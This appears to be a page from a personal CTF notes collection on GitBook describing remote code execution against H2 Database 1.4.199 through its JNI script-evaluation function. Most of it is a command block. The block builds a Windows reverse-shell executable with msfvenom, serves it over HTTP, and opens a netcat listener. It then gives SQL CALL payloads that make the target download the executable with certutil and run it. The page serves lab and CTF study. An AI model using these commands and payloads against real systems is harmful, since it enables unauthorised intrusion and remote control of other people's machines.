> For the complete documentation index, see [llms.txt](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/rce-collection/cms-and-platform/h2-database-engine.md).

# H2 Database Engine

H2 Database 1.4.199 - JNI Code Execution

<https://www.exploit-db.com/exploits/49384>

<figure><img src="/files/mFxw8D5n2QhW5xuWuQ8J" alt=""><figcaption></figcaption></figure>

Basically, you find a console, add each payload run the commands above.&#x20;

<figure><img src="/files/uYYnG5BdTQ2ZO2OQAJj0" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
# Create a shell 
Kali> msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=192.168.45.183 LPORT=8082

Kali> sudo python -m http.server 80

Kali> rlwrap nc -nlvp 8082

# For -- Evaluate script 
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil -urlcache -split -f http://192.168.45.183/shell.exe C:/Windows/Temp/shell.exe").getInputStream()).useDelimiter("\\Z").next()');

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("C:/Windows/Temp/shell.exe").getInputStream()).useDelimiter("\\Z").next()');

```

{% endcode %}